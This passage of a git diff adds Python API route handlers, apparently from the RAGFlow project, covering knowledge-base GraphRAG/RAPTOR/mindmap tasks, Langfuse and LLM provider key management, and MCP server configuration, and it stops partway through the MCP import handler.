+ return get_json_result(data={"graphrag_task_id": task_id})
+
+
+@router.get("/trace_graphrag")
+async def trace_graphrag(
+ kb_id: str = Query(..., description="知识库ID"),
+ current_user = Depends(get_current_user)
+):
+ if not kb_id:
+ return get_error_data_result(message='Lack of "KB ID"')
+
+ ok, kb = KnowledgebaseService.get_by_id(kb_id)
+ if not ok:
+ return get_error_data_result(message="Invalid Knowledgebase ID")
+
+ task_id = kb.graphrag_task_id
+ if not task_id:
+ return get_json_result(data={})
+
+ ok, task = TaskService.get_by_id(task_id)
+ if not ok:
+ return get_error_data_result(message="GraphRAG Task Not Found or Error Occurred")
+
+ return get_json_result(data=task.to_dict())
+
+
+@router.post("/run_raptor")
+async def run_raptor(
+ request: RunRaptorRequest,
+ current_user = Depends(get_current_user)
+):
+ kb_id = request.kb_id
+ if not kb_id:
+ return get_error_data_result(message='Lack of "KB ID"')
+
+ ok, kb = KnowledgebaseService.get_by_id(kb_id)
+ if not ok:
+ return get_error_data_result(message="Invalid Knowledgebase ID")
+
+ task_id = kb.raptor_task_id
+ if task_id:
+ ok, task = TaskService.get_by_id(task_id)
+ if not ok:
+ logging.warning(f"A valid RAPTOR task id is expected for kb {kb_id}")
+
+ if task and task.progress not in [-1, 1]:
+ return get_error_data_result(message=f"Task {task_id} in progress with status {task.progress}. A RAPTOR Task is already running.")
+
+ documents, _ = DocumentService.get_by_kb_id(
+ kb_id=kb_id,
+ page_number=0,
+ items_per_page=0,
+ orderby="create_time",
+ desc=False,
+ keywords="",
+ run_status=[],
+ types=[],
+ suffix=[],
+ )
+ if not documents:
+ return get_error_data_result(message=f"No documents in Knowledgebase {kb_id}")
+
+ sample_document = documents[0]
+ document_ids = [document["id"] for document in documents]
+
+ task_id = queue_raptor_o_graphrag_tasks(doc=sample_document, ty="raptor", priority=0, fake_doc_id=GRAPH_RAPTOR_FAKE_DOC_ID, doc_ids=list(document_ids))
+
+ if not KnowledgebaseService.update_by_id(kb.id, {"raptor_task_id": task_id}):
+ logging.warning(f"Cannot save raptor_task_id for kb {kb_id}")
+
+ return get_json_result(data={"raptor_task_id": task_id})
+
+
+@router.get("/trace_raptor")
+async def trace_raptor(
+ kb_id: str = Query(..., description="知识库ID"),
+ current_user = Depends(get_current_user)
+):
+ if not kb_id:
+ return get_error_data_result(message='Lack of "KB ID"')
+
+ ok, kb = KnowledgebaseService.get_by_id(kb_id)
+ if not ok:
+ return get_error_data_result(message="Invalid Knowledgebase ID")
+
+ task_id = kb.raptor_task_id
+ if not task_id:
+ return get_json_result(data={})
+
+ ok, task = TaskService.get_by_id(task_id)
+ if not ok:
+ return get_error_data_result(message="RAPTOR Task Not Found or Error Occurred")
+
+ return get_json_result(data=task.to_dict())
+
+
+@router.post("/run_mindmap")
+async def run_mindmap(
+ request: RunMindmapRequest,
+ current_user = Depends(get_current_user)
+):
+ kb_id = request.kb_id
+ if not kb_id:
+ return get_error_data_result(message='Lack of "KB ID"')
+
+ ok, kb = KnowledgebaseService.get_by_id(kb_id)
+ if not ok:
+ return get_error_data_result(message="Invalid Knowledgebase ID")
+
+ task_id = kb.mindmap_task_id
+ if task_id:
+ ok, task = TaskService.get_by_id(task_id)
+ if not ok:
+ logging.warning(f"A valid Mindmap task id is expected for kb {kb_id}")
+
+ if task and task.progress not in [-1, 1]:
+ return get_error_data_result(message=f"Task {task_id} in progress with status {task.progress}. A Mindmap Task is already running.")
+
+ documents, _ = DocumentService.get_by_kb_id(
+ kb_id=kb_id,
+ page_number=0,
+ items_per_page=0,
+ orderby="create_time",
+ desc=False,
+ keywords="",
+ run_status=[],
+ types=[],
+ suffix=[],
+ )
+ if not documents:
+ return get_error_data_result(message=f"No documents in Knowledgebase {kb_id}")
+
+ sample_document = documents[0]
+ document_ids = [document["id"] for document in documents]
+
+ task_id = queue_raptor_o_graphrag_tasks(doc=sample_document, ty="mindmap", priority=0, fake_doc_id=GRAPH_RAPTOR_FAKE_DOC_ID, doc_ids=list(document_ids))
+
+ if not KnowledgebaseService.update_by_id(kb.id, {"mindmap_task_id": task_id}):
+ logging.warning(f"Cannot save mindmap_task_id for kb {kb_id}")
+
+ return get_json_result(data={"mindmap_task_id": task_id})
+
+
+@router.get("/trace_mindmap")
+async def trace_mindmap(
+ kb_id: str = Query(..., description="知识库ID"),
+ current_user = Depends(get_current_user)
+):
+ if not kb_id:
+ return get_error_data_result(message='Lack of "KB ID"')
+
+ ok, kb = KnowledgebaseService.get_by_id(kb_id)
+ if not ok:
+ return get_error_data_result(message="Invalid Knowledgebase ID")
+
+ task_id = kb.mindmap_task_id
+ if not task_id:
+ return get_json_result(data={})
+
+ ok, task = TaskService.get_by_id(task_id)
+ if not ok:
+ return get_error_data_result(message="Mindmap Task Not Found or Error Occurred")
+
+ return get_json_result(data=task.to_dict())
+
+
+@router.delete("/unbind_task")
+async def delete_kb_task(
+ kb_id: str = Query(..., description="知识库ID"),
+ pipeline_task_type: str = Query(..., description="管道任务类型"),
+ current_user = Depends(get_current_user)
+):
+ if not kb_id:
+ return get_error_data_result(message='Lack of "KB ID"')
+ ok, kb = KnowledgebaseService.get_by_id(kb_id)
+ if not ok:
+ return get_json_result(data=True)
+ if not pipeline_task_type or pipeline_task_type not in [PipelineTaskType.GRAPH_RAG, PipelineTaskType.RAPTOR, PipelineTaskType.MINDMAP]:
+ return get_error_data_result(message="Invalid task type")
+
+ match pipeline_task_type:
+ case PipelineTaskType.GRAPH_RAG:
+ settings.docStoreConn.delete({"knowledge_graph_kwd": ["graph", "subgraph", "entity", "relation"]}, search.index_name(kb.tenant_id), kb_id)
+ kb_task_id = "graphrag_task_id"
+ kb_task_finish_at = "graphrag_task_finish_at"
+ case PipelineTaskType.RAPTOR:
+ kb_task_id = "raptor_task_id"
+ kb_task_finish_at = "raptor_task_finish_at"
+ case PipelineTaskType.MINDMAP:
+ kb_task_id = "mindmap_task_id"
+ kb_task_finish_at = "mindmap_task_finish_at"
+ case _:
+ return get_error_data_result(message="Internal Error: Invalid task type")
+
+ ok = KnowledgebaseService.update_by_id(kb_id, {kb_task_id: "", kb_task_finish_at: None})
+ if not ok:
+ return server_error_response(f"Internal error: cannot delete task {pipeline_task_type}")
+
+ return get_json_result(data=True)
diff --git a/api/apps/langfuse_app.py b/api/apps/langfuse_app.py
new file mode 100644
index 0000000..151c40f
--- /dev/null
+++ b/api/apps/langfuse_app.py
@@ -0,0 +1,97 @@
+#
+# Copyright 2025 The InfiniFlow Authors. All Rights Reserved.
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+# http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+#
+
+
+from flask import request
+from flask_login import current_user, login_required
+from langfuse import Langfuse
+
+from api.db.db_models import DB
+from api.db.services.langfuse_service import TenantLangfuseService
+from api.utils.api_utils import get_error_data_result, get_json_result, server_error_response, validate_request
+
+
+@manager.route("/api_key", methods=["POST", "PUT"]) # noqa: F821
+@login_required
+@validate_request("secret_key", "public_key", "host")
+def set_api_key():
+ req = request.get_json()
+ secret_key = req.get("secret_key", "")
+ public_key = req.get("public_key", "")
+ host = req.get("host", "")
+ if not all([secret_key, public_key, host]):
+ return get_error_data_result(message="Missing required fields")
+
+ langfuse_keys = dict(
+ tenant_id=current_user.id,
+ secret_key=secret_key,
+ public_key=public_key,
+ host=host,
+ )
+
+ langfuse = Langfuse(public_key=langfuse_keys["public_key"], secret_key=langfuse_keys["secret_key"], host=langfuse_keys["host"])
+ if not langfuse.auth_check():
+ return get_error_data_result(message="Invalid Langfuse keys")
+
+ langfuse_entry = TenantLangfuseService.filter_by_tenant(tenant_id=current_user.id)
+ with DB.atomic():
+ try:
+ if not langfuse_entry:
+ TenantLangfuseService.save(**langfuse_keys)
+ else:
+ TenantLangfuseService.update_by_tenant(tenant_id=current_user.id, langfuse_keys=langfuse_keys)
+ return get_json_result(data=langfuse_keys)
+ except Exception as e:
+ server_error_response(e)
+
+
+@manager.route("/api_key", methods=["GET"]) # noqa: F821
+@login_required
+@validate_request()
+def get_api_key():
+ langfuse_entry = TenantLangfuseService.filter_by_tenant_with_info(tenant_id=current_user.id)
+ if not langfuse_entry:
+ return get_json_result(message="Have not record any Langfuse keys.")
+
+ langfuse = Langfuse(public_key=langfuse_entry["public_key"], secret_key=langfuse_entry["secret_key"], host=langfuse_entry["host"])
+ try:
+ if not langfuse.auth_check():
+ return get_error_data_result(message="Invalid Langfuse keys loaded")
+ except langfuse.api.core.api_error.ApiError as api_err:
+ return get_json_result(message=f"Error from Langfuse: {api_err}")
+ except Exception as e:
+ server_error_response(e)
+
+ langfuse_entry["project_id"] = langfuse.api.projects.get().dict()["data"][0]["id"]
+ langfuse_entry["project_name"] = langfuse.api.projects.get().dict()["data"][0]["name"]
+
+ return get_json_result(data=langfuse_entry)
+
+
+@manager.route("/api_key", methods=["DELETE"]) # noqa: F821
+@login_required
+@validate_request()
+def delete_api_key():
+ langfuse_entry = TenantLangfuseService.filter_by_tenant(tenant_id=current_user.id)
+ if not langfuse_entry:
+ return get_json_result(message="Have not record any Langfuse keys.")
+
+ with DB.atomic():
+ try:
+ TenantLangfuseService.delete_model(langfuse_entry)
+ return get_json_result(data=True)
+ except Exception as e:
+ server_error_response(e)
diff --git a/api/apps/llm_app.py b/api/apps/llm_app.py
new file mode 100644
index 0000000..1ef1c3e
--- /dev/null
+++ b/api/apps/llm_app.py
@@ -0,0 +1,396 @@
+#
+# Copyright 2024 The InfiniFlow Authors. All Rights Reserved.
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+# http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+#
+import logging
+import json
+from flask import request
+from flask_login import login_required, current_user
+from api.db.services.tenant_llm_service import LLMFactoriesService, TenantLLMService
+from api.db.services.llm_service import LLMService
+from api import settings
+from api.utils.api_utils import server_error_response, get_data_error_result, validate_request
+from api.db import StatusEnum, LLMType
+from api.db.db_models import TenantLLM
+from api.utils.api_utils import get_json_result
+from api.utils.base64_image import test_image
+from rag.llm import EmbeddingModel, ChatModel, RerankModel, CvModel, TTSModel
+
+
+@manager.route('/factories', methods=['GET']) # noqa: F821
+@login_required
+def factories():
+ try:
+ fac = LLMFactoriesService.get_all()
+ fac = [f.to_dict() for f in fac if f.name not in ["Youdao", "FastEmbed", "BAAI"]]
+ llms = LLMService.get_all()
+ mdl_types = {}
+ for m in llms:
+ if m.status != StatusEnum.VALID.value:
+ continue
+ if m.fid not in mdl_types:
+ mdl_types[m.fid] = set([])
+ mdl_types[m.fid].add(m.model_type)
+ for f in fac:
+ f["model_types"] = list(mdl_types.get(f["name"], [LLMType.CHAT, LLMType.EMBEDDING, LLMType.RERANK,
+ LLMType.IMAGE2TEXT, LLMType.SPEECH2TEXT, LLMType.TTS]))
+ return get_json_result(data=fac)
+ except Exception as e:
+ return server_error_response(e)
+
+
+@manager.route('/set_api_key', methods=['POST']) # noqa: F821
+@login_required
+@validate_request("llm_factory", "api_key")
+def set_api_key():
+ req = request.json
+ # test if api key works
+ chat_passed, embd_passed, rerank_passed = False, False, False
+ factory = req["llm_factory"]
+ extra = {"provider": factory}
+ msg = ""
+ for llm in LLMService.query(fid=factory):
+ if not embd_passed and llm.model_type == LLMType.EMBEDDING.value:
+ assert factory in EmbeddingModel, f"Embedding model from {factory} is not supported yet."
+ mdl = EmbeddingModel[factory](
+ req["api_key"], llm.llm_name, base_url=req.get("base_url"))
+ try:
+ arr, tc = mdl.encode(["Test if the api key is available"])
+ if len(arr[0]) == 0:
+ raise Exception("Fail")
+ embd_passed = True
+ except Exception as e:
+ msg += f"\nFail to access embedding model({llm.llm_name}) using this api key." + str(e)
+ elif not chat_passed and llm.model_type == LLMType.CHAT.value:
+ assert factory in ChatModel, f"Chat model from {factory} is not supported yet."
+ mdl = ChatModel[factory](
+ req["api_key"], llm.llm_name, base_url=req.get("base_url"), **extra)
+ try:
+ m, tc = mdl.chat(None, [{"role": "user", "content": "Hello! How are you doing!"}],
+ {"temperature": 0.9, 'max_tokens': 50})
+ if m.find("**ERROR**") >= 0:
+ raise Exception(m)
+ chat_passed = True
+ except Exception as e:
+ msg += f"\nFail to access model({llm.fid}/{llm.llm_name}) using this api key." + str(
+ e)
+ elif not rerank_passed and llm.model_type == LLMType.RERANK:
+ assert factory in RerankModel, f"Re-rank model from {factory} is not supported yet."
+ mdl = RerankModel[factory](
+ req["api_key"], llm.llm_name, base_url=req.get("base_url"))
+ try:
+ arr, tc = mdl.similarity("What's the weather?", ["Is it sunny today?"])
+ if len(arr) == 0 or tc == 0:
+ raise Exception("Fail")
+ rerank_passed = True
+ logging.debug(f'passed model rerank {llm.llm_name}')
+ except Exception as e:
+ msg += f"\nFail to access model({llm.fid}/{llm.llm_name}) using this api key." + str(
+ e)
+ if any([embd_passed, chat_passed, rerank_passed]):
+ msg = ''
+ break
+
+ if msg:
+ return get_data_error_result(message=msg)
+
+ llm_config = {
+ "api_key": req["api_key"],
+ "api_base": req.get("base_url", "")
+ }
+ for n in ["model_type", "llm_name"]:
+ if n in req:
+ llm_config[n] = req[n]
+
+ for llm in LLMService.query(fid=factory):
+ llm_config["max_tokens"]=llm.max_tokens
+ if not TenantLLMService.filter_update(
+ [TenantLLM.tenant_id == current_user.id,
+ TenantLLM.llm_factory == factory,
+ TenantLLM.llm_name == llm.llm_name],
+ llm_config):
+ TenantLLMService.save(
+ tenant_id=current_user.id,
+ llm_factory=factory,
+ llm_name=llm.llm_name,
+ model_type=llm.model_type,
+ api_key=llm_config["api_key"],
+ api_base=llm_config["api_base"],
+ max_tokens=llm_config["max_tokens"]
+ )
+
+ return get_json_result(data=True)
+
+
+@manager.route('/add_llm', methods=['POST']) # noqa: F821
+@login_required
+@validate_request("llm_factory")
+def add_llm():
+ req = request.json
+ factory = req["llm_factory"]
+ api_key = req.get("api_key", "x")
+ llm_name = req.get("llm_name")
+
+ def apikey_json(keys):
+ nonlocal req
+ return json.dumps({k: req.get(k, "") for k in keys})
+
+ if factory == "VolcEngine":
+ # For VolcEngine, due to its special authentication method
+ # Assemble ark_api_key endpoint_id into api_key
+ api_key = apikey_json(["ark_api_key", "endpoint_id"])
+
+ elif factory == "Tencent Hunyuan":
+ req["api_key"] = apikey_json(["hunyuan_sid", "hunyuan_sk"])
+ return set_api_key()
+
+ elif factory == "Tencent Cloud":
+ req["api_key"] = apikey_json(["tencent_cloud_sid", "tencent_cloud_sk"])
+ return set_api_key()
+
+ elif factory == "Bedrock":
+ # For Bedrock, due to its special authentication method
+ # Assemble bedrock_ak, bedrock_sk, bedrock_region
+ api_key = apikey_json(["bedrock_ak", "bedrock_sk", "bedrock_region"])
+
+ elif factory == "LocalAI":
+ llm_name += "___LocalAI"
+
+ elif factory == "HuggingFace":
+ llm_name += "___HuggingFace"
+
+ elif factory == "OpenAI-API-Compatible":
+ llm_name += "___OpenAI-API"
+
+ elif factory == "VLLM":
+ llm_name += "___VLLM"
+
+ elif factory == "XunFei Spark":
+ if req["model_type"] == "chat":
+ api_key = req.get("spark_api_password", "")
+ elif req["model_type"] == "tts":
+ api_key = apikey_json(["spark_app_id", "spark_api_secret", "spark_api_key"])
+
+ elif factory == "BaiduYiyan":
+ api_key = apikey_json(["yiyan_ak", "yiyan_sk"])
+
+ elif factory == "Fish Audio":
+ api_key = apikey_json(["fish_audio_ak", "fish_audio_refid"])
+
+ elif factory == "Google Cloud":
+ api_key = apikey_json(["google_project_id", "google_region", "google_service_account_key"])
+
+ elif factory == "Azure-OpenAI":
+ api_key = apikey_json(["api_key", "api_version"])
+
+ llm = {
+ "tenant_id": current_user.id,
+ "llm_factory": factory,
+ "model_type": req["model_type"],
+ "llm_name": llm_name,
+ "api_base": req.get("api_base", ""),
+ "api_key": api_key,
+ "max_tokens": req.get("max_tokens")
+ }
+
+ msg = ""
+ mdl_nm = llm["llm_name"].split("___")[0]
+ extra = {"provider": factory}
+ if llm["model_type"] == LLMType.EMBEDDING.value:
+ assert factory in EmbeddingModel, f"Embedding model from {factory} is not supported yet."
+ mdl = EmbeddingModel[factory](
+ key=llm['api_key'],
+ model_name=mdl_nm,
+ base_url=llm["api_base"])
+ try:
+ arr, tc = mdl.encode(["Test if the api key is available"])
+ if len(arr[0]) == 0:
+ raise Exception("Fail")
+ except Exception as e:
+ msg += f"\nFail to access embedding model({mdl_nm})." + str(e)
+ elif llm["model_type"] == LLMType.CHAT.value:
+ assert factory in ChatModel, f"Chat model from {factory} is not supported yet."
+ mdl = ChatModel[factory](
+ key=llm['api_key'],
+ model_name=mdl_nm,
+ base_url=llm["api_base"],
+ **extra,
+ )
+ try:
+ m, tc = mdl.chat(None, [{"role": "user", "content": "Hello! How are you doing!"}], {
+ "temperature": 0.9})
+ if not tc and m.find("**ERROR**:") >= 0:
+ raise Exception(m)
+ except Exception as e:
+ msg += f"\nFail to access model({factory}/{mdl_nm})." + str(
+ e)
+ elif llm["model_type"] == LLMType.RERANK:
+ assert factory in RerankModel, f"RE-rank model from {factory} is not supported yet."
+ try:
+ mdl = RerankModel[factory](
+ key=llm["api_key"],
+ model_name=mdl_nm,
+ base_url=llm["api_base"]
+ )
+ arr, tc = mdl.similarity("Hello~ RAGFlower!", ["Hi, there!", "Ohh, my friend!"])
+ if len(arr) == 0:
+ raise Exception("Not known.")
+ except KeyError:
+ msg += f"{factory} dose not support this model({factory}/{mdl_nm})"
+ except Exception as e:
+ msg += f"\nFail to access model({factory}/{mdl_nm})." + str(
+ e)
+ elif llm["model_type"] == LLMType.IMAGE2TEXT.value:
+ assert factory in CvModel, f"Image to text model from {factory} is not supported yet."
+ mdl = CvModel[factory](
+ key=llm["api_key"],
+ model_name=mdl_nm,
+ base_url=llm["api_base"]
+ )
+ try:
+ image_data = test_image
+ m, tc = mdl.describe(image_data)
+ if not m and not tc:
+ raise Exception(m)
+ except Exception as e:
+ msg += f"\nFail to access model({factory}/{mdl_nm})." + str(e)
+ elif llm["model_type"] == LLMType.TTS:
+ assert factory in TTSModel, f"TTS model from {factory} is not supported yet."
+ mdl = TTSModel[factory](
+ key=llm["api_key"], model_name=mdl_nm, base_url=llm["api_base"]
+ )
+ try:
+ for resp in mdl.tts("Hello~ RAGFlower!"):
+ pass
+ except RuntimeError as e:
+ msg += f"\nFail to access model({factory}/{mdl_nm})." + str(e)
+ else:
+ # TODO: check other type of models
+ pass
+
+ if msg:
+ return get_data_error_result(message=msg)
+
+ if not TenantLLMService.filter_update(
+ [TenantLLM.tenant_id == current_user.id, TenantLLM.llm_factory == factory,
+ TenantLLM.llm_name == llm["llm_name"]], llm):
+ TenantLLMService.save(**llm)
+
+ return get_json_result(data=True)
+
+
+@manager.route('/delete_llm', methods=['POST']) # noqa: F821
+@login_required
+@validate_request("llm_factory", "llm_name")
+def delete_llm():
+ req = request.json
+ TenantLLMService.filter_delete(
+ [TenantLLM.tenant_id == current_user.id, TenantLLM.llm_factory == req["llm_factory"],
+ TenantLLM.llm_name == req["llm_name"]])
+ return get_json_result(data=True)
+
+
+@manager.route('/delete_factory', methods=['POST']) # noqa: F821
+@login_required
+@validate_request("llm_factory")
+def delete_factory():
+ req = request.json
+ TenantLLMService.filter_delete(
+ [TenantLLM.tenant_id == current_user.id, TenantLLM.llm_factory == req["llm_factory"]])
+ return get_json_result(data=True)
+
+
+@manager.route('/my_llms', methods=['GET']) # noqa: F821
+@login_required
+def my_llms():
+ try:
+ include_details = request.args.get('include_details', 'false').lower() == 'true'
+
+ if include_details:
+ res = {}
+ objs = TenantLLMService.query(tenant_id=current_user.id)
+ factories = LLMFactoriesService.query(status=StatusEnum.VALID.value)
+
+ for o in objs:
+ o_dict = o.to_dict()
+ factory_tags = None
+ for f in factories:
+ if f.name == o_dict["llm_factory"]:
+ factory_tags = f.tags
+ break
+
+ if o_dict["llm_factory"] not in res:
+ res[o_dict["llm_factory"]] = {
+ "tags": factory_tags,
+ "llm": []
+ }
+
+ res[o_dict["llm_factory"]]["llm"].append({
+ "type": o_dict["model_type"],
+ "name": o_dict["llm_name"],
+ "used_token": o_dict["used_tokens"],
+ "api_base": o_dict["api_base"] or "",
+ "max_tokens": o_dict["max_tokens"] or 8192
+ })
+ else:
+ res = {}
+ for o in TenantLLMService.get_my_llms(current_user.id):
+ if o["llm_factory"] not in res:
+ res[o["llm_factory"]] = {
+ "tags": o["tags"],
+ "llm": []
+ }
+ res[o["llm_factory"]]["llm"].append({
+ "type": o["model_type"],
+ "name": o["llm_name"],
+ "used_token": o["used_tokens"]
+ })
+
+ return get_json_result(data=res)
+ except Exception as e:
+ return server_error_response(e)
+
+
+@manager.route('/list', methods=['GET']) # noqa: F821
+@login_required
+def list_app():
+ self_deployed = ["Youdao", "FastEmbed", "BAAI", "Ollama", "Xinference", "LocalAI", "LM-Studio", "GPUStack"]
+ weighted = ["Youdao", "FastEmbed", "BAAI"] if settings.LIGHTEN != 0 else []
+ model_type = request.args.get("model_type")
+ try:
+ objs = TenantLLMService.query(tenant_id=current_user.id)
+ facts = set([o.to_dict()["llm_factory"] for o in objs if o.api_key])
+ llms = LLMService.get_all()
+ llms = [m.to_dict()
+ for m in llms if m.status == StatusEnum.VALID.value and m.fid not in weighted]
+ for m in llms:
+ m["available"] = m["fid"] in facts or m["llm_name"].lower() == "flag-embedding" or m["fid"] in self_deployed
+
+ llm_set = set([m["llm_name"] + "@" + m["fid"] for m in llms])
+ for o in objs:
+ if o.llm_name + "@" + o.llm_factory in llm_set:
+ continue
+ llms.append({"llm_name": o.llm_name, "model_type": o.model_type, "fid": o.llm_factory, "available": True})
+
+ res = {}
+ for m in llms:
+ if model_type and m["model_type"].find(model_type) < 0:
+ continue
+ if m["fid"] not in res:
+ res[m["fid"]] = []
+ res[m["fid"]].append(m)
+
+ return get_json_result(data=res)
+ except Exception as e:
+ return server_error_response(e)
diff --git a/api/apps/mcp_server_app.py b/api/apps/mcp_server_app.py
new file mode 100644
index 0000000..f992282
--- /dev/null
+++ b/api/apps/mcp_server_app.py
@@ -0,0 +1,444 @@
+#
+# Copyright 2024 The InfiniFlow Authors. All Rights Reserved.
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+# http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+#
+from flask import Response, request
+from flask_login import current_user, login_required
+
+from api.db import VALID_MCP_SERVER_TYPES
+from api.db.db_models import MCPServer
+from api.db.services.mcp_server_service import MCPServerService
+from api.db.services.user_service import TenantService
+from api.settings import RetCode
+
+from api.utils import get_uuid
+from api.utils.api_utils import get_data_error_result, get_json_result, server_error_response, validate_request, \
+ get_mcp_tools
+from api.utils.web_utils import get_float, safe_json_parse
+from rag.utils.mcp_tool_call_conn import MCPToolCallSession, close_multiple_mcp_toolcall_sessions
+
+
+@manager.route("/list", methods=["POST"]) # noqa: F821
+@login_required
+def list_mcp() -> Response:
+ keywords = request.args.get("keywords", "")
+ page_number = int(request.args.get("page", 0))
+ items_per_page = int(request.args.get("page_size", 0))
+ orderby = request.args.get("orderby", "create_time")
+ if request.args.get("desc", "true").lower() == "false":
+ desc = False
+ else:
+ desc = True
+
+ req = request.get_json()
+ mcp_ids = req.get("mcp_ids", [])
+ try:
+ servers = MCPServerService.get_servers(current_user.id, mcp_ids, 0, 0, orderby, desc, keywords) or []
+ total = len(servers)
+
+ if page_number and items_per_page:
+ servers = servers[(page_number - 1) * items_per_page : page_number * items_per_page]
+
+ return get_json_result(data={"mcp_servers": servers, "total": total})
+ except Exception as e:
+ return server_error_response(e)
+
+
+@manager.route("/detail", methods=["GET"]) # noqa: F821
+@login_required
+def detail() -> Response:
+ mcp_id = request.args["mcp_id"]
+ try:
+ mcp_server = MCPServerService.get_or_none(id=mcp_id, tenant_id=current_user.id)
+
+ if mcp_server is None:
+ return get_json_result(code=RetCode.NOT_FOUND, data=None)
+
+ return get_json_result(data=mcp_server.to_dict())
+ except Exception as e:
+ return server_error_response(e)
+
+
+@manager.route("/create", methods=["POST"]) # noqa: F821
+@login_required
+@validate_request("name", "url", "server_type")
+def create() -> Response:
+ req = request.get_json()
+
+ server_type = req.get("server_type", "")
+ if server_type not in VALID_MCP_SERVER_TYPES:
+ return get_data_error_result(message="Unsupported MCP server type.")
+
+ server_name = req.get("name", "")
+ if not server_name or len(server_name.encode("utf-8")) > 255:
+ return get_data_error_result(message=f"Invalid MCP name or length is {len(server_name)} which is large than 255.")
+
+ e, _ = MCPServerService.get_by_name_and_tenant(name=server_name, tenant_id=current_user.id)
+ if e:
+ return get_data_error_result(message="Duplicated MCP server name.")
+
+ url = req.get("url", "")
+ if not url:
+ return get_data_error_result(message="Invalid url.")
+
+ headers = safe_json_parse(req.get("headers", {}))
+ req["headers"] = headers
+ variables = safe_json_parse(req.get("variables", {}))
+ variables.pop("tools", None)
+
+ timeout = get_float(req, "timeout", 10)
+
+ try:
+ req["id"] = get_uuid()
+ req["tenant_id"] = current_user.id
+
+ e, _ = TenantService.get_by_id(current_user.id)
+ if not e:
+ return get_data_error_result(message="Tenant not found.")
+
+ mcp_server = MCPServer(id=server_name, name=server_name, url=url, server_type=server_type, variables=variables, headers=headers)
+ server_tools, err_message = get_mcp_tools([mcp_server], timeout)
+ if err_message:
+ return get_data_error_result(err_message)
+
+ tools = server_tools[server_name]
+ tools = {tool["name"]: tool for tool in tools if isinstance(tool, dict) and "name" in tool}
+ variables["tools"] = tools
+ req["variables"] = variables
+
+ if not MCPServerService.insert(**req):
+ return get_data_error_result("Failed to create MCP server.")
+
+ return get_json_result(data=req)
+ except Exception as e:
+ return server_error_response(e)
+
+
+@manager.route("/update", methods=["POST"]) # noqa: F821
+@login_required
+@validate_request("mcp_id")
+def update() -> Response:
+ req = request.get_json()
+
+ mcp_id = req.get("mcp_id", "")
+ e, mcp_server = MCPServerService.get_by_id(mcp_id)
+ if not e or mcp_server.tenant_id != current_user.id:
+ return get_data_error_result(message=f"Cannot find MCP server {mcp_id} for user {current_user.id}")
+
+ server_type = req.get("server_type", mcp_server.server_type)
+ if server_type and server_type not in VALID_MCP_SERVER_TYPES:
+ return get_data_error_result(message="Unsupported MCP server type.")
+ server_name = req.get("name", mcp_server.name)
+ if server_name and len(server_name.encode("utf-8")) > 255:
+ return get_data_error_result(message=f"Invalid MCP name or length is {len(server_name)} which is large than 255.")
+ url = req.get("url", mcp_server.url)
+ if not url:
+ return get_data_error_result(message="Invalid url.")
+
+ headers = safe_json_parse(req.get("headers", mcp_server.headers))
+ req["headers"] = headers
+
+ variables = safe_json_parse(req.get("variables", mcp_server.variables))
+ variables.pop("tools", None)
+
+ timeout = get_float(req, "timeout", 10)
+
+ try:
+ req["tenant_id"] = current_user.id
+ req.pop("mcp_id", None)
+ req["id"] = mcp_id
+
+ mcp_server = MCPServer(id=server_name, name=server_name, url=url, server_type=server_type, variables=variables, headers=headers)
+ server_tools, err_message = get_mcp_tools([mcp_server], timeout)
+ if err_message:
+ return get_data_error_result(err_message)
+
+ tools = server_tools[server_name]
+ tools = {tool["name"]: tool for tool in tools if isinstance(tool, dict) and "name" in tool}
+ variables["tools"] = tools
+ req["variables"] = variables
+
+ if not MCPServerService.filter_update([MCPServer.id == mcp_id, MCPServer.tenant_id == current_user.id], req):
+ return get_data_error_result(message="Failed to updated MCP server.")
+
+ e, updated_mcp = MCPServerService.get_by_id(req["id"])
+ if not e:
+ return get_data_error_result(message="Failed to fetch updated MCP server.")
+
+ return get_json_result(data=updated_mcp.to_dict())
+ except Exception as e:
+ return server_error_response(e)
+
+
+@manager.route("/rm", methods=["POST"]) # noqa: F821
+@login_required
+@validate_request("mcp_ids")
+def rm() -> Response:
+ req = request.get_json()
+ mcp_ids = req.get("mcp_ids", [])
+
+ try:
+ req["tenant_id"] = current_user.id
+
+ if not MCPServerService.delete_by_ids(mcp_ids):
+ return get_data_error_result(message=f"Failed to delete MCP servers {mcp_ids}")
+
+ return get_json_result(data=True)
+ except Exception as e:
+ return server_error_response(e)
+
+
+@manager.route("/import", methods=["POST"]) # noqa: F821
+@login_required
+@validate_request("mcpServers")
+def import_multiple() -> Response:
+ req = request.get_json()
+ servers = req.get("mcpServers", {})
+ if not servers:
+ return get_data_error_result(message="No MCP servers provided.")
+
+ timeout = get_float(req, "timeout", 10)
+
+ results = []
+ try:
+ for server_name, config in servers.items():
+ if not all(key in config for key in {"type", "url"}):
+ results.append({"server": server_name, "success": False, "message": "Missing required fields (type or url)"})
+ continue
+
+ if not server_name or len(server_name.encode("utf-8")) > 255:
+ results.append({"server": server_name, "success": False, "message": f"Invalid MCP name or length is {len(server_name)} which is large than 255."})
+ continue
+
+ base_name = server_name
+ new_name = base_name
+ counter = 0
+
+ while True:
+ e, _ = MCPServerService.get_by_name_and_tenant(name=new_name, tenant_id=current_user.id)
+ if not e:
+ break
+ new_name = f"{base_name}_{counter}"
+ counter += 1
+
+ create_data = {
+ "id": get_uuid(),
+ "tenant_id": current_user.id,
+ "name": new_name,
+ "url": config["url"],
+ "server_type": config["type"],
